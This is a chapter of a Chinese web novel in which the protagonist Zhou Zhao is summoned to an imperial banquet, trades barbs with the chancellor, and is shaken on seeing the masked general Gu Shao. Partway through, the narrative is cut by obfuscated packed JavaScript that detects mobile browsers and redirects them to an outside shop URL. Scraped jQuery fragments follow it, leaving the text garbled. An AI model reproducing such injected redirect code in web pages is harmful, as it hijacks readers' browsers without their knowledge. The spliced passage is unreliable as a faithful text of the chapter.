65. 宫宴

作品:《亡国君是白月光

    年关将近,宫内上上下下各处机要忙作一团。


    往年这个时候,皇帝都会在宫内举办宫宴,名为“岁恩宴”,一是将朝内叫得上名号的大小官员聚在一起热闹热闹,该赏赐的赏赐,该安抚的安抚;


    二是镇守边关苦寒之地的将士们年末回朝,由皇帝亲自接风赐饭,以示皇恩浩荡。


    有了这么几重原因,宫宴倒更像是摆上饭桌的朝会,几家欢喜几家愁。


    但牵机营是从来不会出席“岁恩宴”的,用上官的话来说,就是“宫里对牵机营能有多大皇恩”,语气简直跟渡舟如出一辙。


    今年却是例外。


    到了岁恩宴这天,宫里的折子由高忠贤亲自托在手上送到牵机营里来。


    牵机营里空空荡荡,侍卫领着高忠贤转来绕去都没找到上官,兜兜转转这道折子却送到周昭跟前儿来了。


    高公公脸上汗珠子都没来得及拭,先用袖子小心擦了擦折子,才往前递给周昭,弯着腰笑容可掬道:“这位大人,劳烦您给通报一声。”


    周昭停住笔,案上是几页抄好的佛经,她并未接过折子,抬起头淡淡道:“渡舟不在。”


    高公公听见渡舟名讳,忙把腰弯得更深,抬起眼皮道:“圣上说了,今年宫宴是家宴,无论如何都让请皇叔老人家去一趟。”


    周昭微笑道:“贵人这话从何说起,既然是家宴,牵机营更去不得,免得落人话柄。”


    “哎哟哟,您折煞老奴了!”高公公终于腾出手擦汗,心说这位也是个牙尖嘴利的主儿。


    周昭看了眼窗外漫天飞雪,摇头道:“我也不知道渡舟去哪儿了,再说渡舟去不去,是他自个儿的事儿。贵人,还请回吧。”


    “这......”高公公将汗巾子揣进怀里,又笑说,“既然皇叔找不着,劳烦祝大人替皇叔进宫一趟。圣上指的轿辇就在外头候着呐,总不好让老奴空着轿子抬进宫去,传到外人耳朵里......嘿嘿,您说呢?”


    周昭算是听出几分不对来,这轿子一开始就是为着接她来的。


    哪是宫宴,鸿门宴差不多。


    她执笔在砚台上蘸满墨汁,没有起身的意思,说道:“我说不好。”


    高忠贤愣住片刻,又听周昭道:“我这张脸生得不好,万一圣上又一时兴起,点了我留在宫里。”


    高忠贤皮笑肉不笑,道:“大人哪儿的话,您是皇叔老人家身边儿的人。再说陆大人也会去,您跟陆大人也有些日子没见了吧?”


    我什么时候成渡舟身边儿的人了。


    高忠贤摆明了就是一副她不去他也不走的架势,周昭放下笔,道:“也好,我一个人闷得慌,正好出去走走。还请稍坐一会儿,我换身衣服就来。”


    高忠贤连忙出去等,周昭走进里屋,等打开那放衣服的雕花檀木柜时不由一怔。


    里面整整齐齐挂满了新衣,花团锦簇如同晚霞倾泻而出,有孔雀蓝的流光缎面,杏子红的对襟长裙,薄荷色的云纹披帛......从里衣到外袍全都考虑到了,甚至还有女子穿的骑装。


    跟周昭从前穿的那些非黑即白的衣裳不同,这些全都是鲜亮的颜色,每一件都样式繁复,轻轻一碰便好像漾起了粼粼波光。


    不光是衣服,桌上的妆奁也换了更大的,摆放着许多珠宝首饰,胭脂水粉,花钿眉黛,一应俱全。


    女子的衣裳虽然好看,但不大方便。周昭记得上一回穿这种华贵的云锈绢袍,还是她从北疆回来之后的宫宴上,似乎就是件孔雀蓝的罗裙。


    从那以后她都是怎么方便怎么来,再后来也基本素面朝天,盔甲不离身。


    周昭的手轻轻抚摸过这些衣裙,最终还是挑了件白色,拿出来时就像一捧雪落在掌心,细看其实不完全素白,碧绿的丝线里勾出隐隐约约的翠竹,十分雅致。


    等换好这件,她的手又移到右边那排狐裘斗篷,其中那件火红色的尤其好看。


    不过周昭只是在上面轻轻碰了碰,仍是抄起往日常穿的那件墨色裘衣披上,旋即走了出去。


    高忠贤看见她眼前亮了亮,喜上眉梢,领着周昭上轿。轿辇用的是四驾马车,都是清一色白毛骏马,两旁早有宫人立着侍候。


    周昭略挑眉尖,扭头微笑道:“高公公,这不合适吧?”


    天子六驾,皇亲四驾。


    哪怕是国师沈云起,也用不得四驾。如果这轿子是给渡舟准备的无可厚非,给她一个名不见经传的人坐,烫手得很。


    高忠贤接过左右递来的金丝暖手炉捂在怀里,堆着笑说:“圣上说合适,那就一定是合适的。风大得紧,大人快些上轿吧。”


    周昭看那轿子一眼,弯腰进去。


    外头四匹马应声而动,浩浩荡荡往皇宫方向去了。


    轿子里是张软榻,铺着一整张白貂皮。


    香炉里熏着品相应是极好的老山檀,闻着浓淡适中,脚边是一早烧好的暖炉银炭,因此周昭一踏进去,外头的风雪便立刻戛然而止。


    她寻了个舒服的位置斜靠在软榻上,马车行驶得很稳当,轻摇轻晃中不禁阖了双目,直到高忠贤的声音在轿外响起,小心唤她:“大人,咱们到了。”


    周昭缓缓睁开眼睛,里头一片清明毫无睡意。


    她应了一声,立时有宫人提着大红灯笼上前,一根玉杆子轻轻挑开轿帘,周昭避开伸过来相扶的几只纤手,轻巧地一弯腰,踏着大步出去了。


    外头天色擦黑,不见明月,仅有几斗浅浅星光。


    周昭拢了拢身上的素白云纹斗篷,没走多久,抬头见一威严大殿,里面歌声阵阵,灯火如昼。


    高忠贤小声道:“祝大人,咱们来得晚了,咱家这就领您进去。”


    周昭笑笑不说话,高忠贤亲自提了盏灯笼照路,尚未走到大殿门口,便有一尖利的嗓音唤道:“牵机营到——”


    百官停著,纷纷侧目,一时间纷杂的目光比殿内烛火还多的落在周昭身上。


    “牵机营的人也太不像话了,不光姗姗来迟,连马车都赶进宫里来了!”


    “往年不是都不来吗?今年怎么来了,还是个女子。”


    “这女子什么来路?长得倒是……啧,从前怎么没听过牵机营有这么个绝色......”


    ......


    虽然各自声音都不大,周昭却听得清楚。


    小皇帝挥退舞姬,饶有兴致地盯着周昭,等周昭走近了再看,那目光又变成第一次见面时的温良无害,就好像刚才是她看错。


    赵允城招手微笑道:“皇叔怎么不见?”


    周昭略垂着头,不卑不亢道:“回圣上的话,不清楚。”


    丞相嗤之以鼻,适时道:“见了圣上却不下跪,牵机营好大的面子。”


    周昭依旧垂着头,态度恭敬道:“回丞相的话,高公公说宫里的马车若是进了牵机营,却空着回去,那便是牵机营目中无主。小民闻之心中惶恐,只得上轿前来,滥竽充数。这一路小民战战兢兢,哪敢落座,因此现在腰酸腿痛,跪不下去。”


    周昭这话说得看似滴水不漏,实则深浅由人看。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16865669|184482||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    马车是宫里派来的,不管几匹马那都是宫里的意思。至于迟没迟,迟了多久,那也是宫里人办事不力。


    高公公脸色发白,周昭抬起眼眸继续道:“不过......若丞相非要小民给你跪,小民自然不敢不跪的。”


    “你!休要胡言,老夫何时说要你跪我了?”


    周昭并不理会,正欲下跪,赵允城开口道:“既然身子不适,虚礼就免了。来人,赐座。”


    周昭淡淡道:“谢圣上。”


    周昭抬眼一看,这位子好。


    左边是国师沈云起,右边是近日皇帝眼跟前儿的红人陆轻苹。


    沈云起与她目光交错,神情复杂。陆轻苹则目不斜视,仿佛不曾注意到周昭。


    周昭转身泰然落座,心知这高位看似皇恩浩荡,落在旁人眼里便是眼红妒忌。


    周昭坐定后,歌舞又起。


    沈云起方才看得心惊胆战,借着舞姬遮掩,小声说道:“妹妹你胆子太大,有些话说不得。”


    周昭并未看她,低声说:“国师,你这身份不好跟我攀谈吧?”


    沈云起傲然道:“那怎么了,你长得好看,我心生嫉妒跟你说几句话不是很正常吗?”


    周昭尚未明白这其中的关联,沈云起便堂而皇之地靠过来,一会儿摸着周昭身上的锦缎袍子,一会儿又看她发间的翡翠簪子,语气略显夸张道:“哎呀呀,妹妹你哪里买的这许多好看衣裳,城里哪家铺子?回头也带我去逛逛。”


    周昭干笑两声,压低声音道:“国师,你演过头了。”


    “怎么是你来了?”沈云起低着头假意摆弄她衣料,语气已然变了,“出什么事儿了?”


    周昭面上云淡风轻,小声道:“不知道,所以进宫看看。”


    “......”沈云起难以置信,还想说什么,眼前舞姬忽而悉数退下。沈云起假意生气摔了周昭袍角,退回席上。


    “镇北侯到——”


    原来还有比她更晚到的,周昭轻轻抿了口酒,入口是梅花香甜。


    百官都不约而同停著张望,这却是跟周昭刚来时等着看热闹不一样的神情,仰慕居多,好奇亦有。


    渡舟从来不在席间备酒,周昭贪着眼前这一口梅花香,只顾低头吃酒,一阵冷冽劲风夹风带雪地从她面皮上刮过去,周昭抬起头,见一戎装男子大步向前。


    他盔甲未卸,刀在鞘中,虽然看不清脸,周昭却本能地嗅到一丝不同寻常的气息:这个人,很危险。


    “臣,顾绍参见圣上。晚了宴席,还请圣上恕罪。”


    周昭眼皮猛地一跳,手中酒盏掉落,席间溢出一阵沁人心脾的梅花香来。


    “大将军镇北有功,是朕该去城门迎你才是,算不得晚。”


    赵允城免了顾绍的礼,又命人赐座,目光飘到周昭这边,笑着说道,“祝爱卿跟在皇叔身边不久,还没见过大将军吧,怎么酒杯都掉了?”


    顾绍侧目望过来,周昭更是坐不稳。


    那人应当是刚从战场上下来,一身杀伐之气尚未掩去,左边半张脸戴着副饕餮云纹银面具,剩下半张脸神情凛然凶光乍现,足见对牵机营恨意之深切。


    如果不是正在席上,周昭毫不怀疑这人腰间佩刀就是为她周昭项上人头准备的。


    小皇帝原来在漠北藏了这一把好刀。


    不,这些都不足以令周昭失魂落魄、心惊胆战。她目不转睛,看得正是这位镇北大将军露出的右脸。


    这张脸、这脸......分明就是宁啻的脸!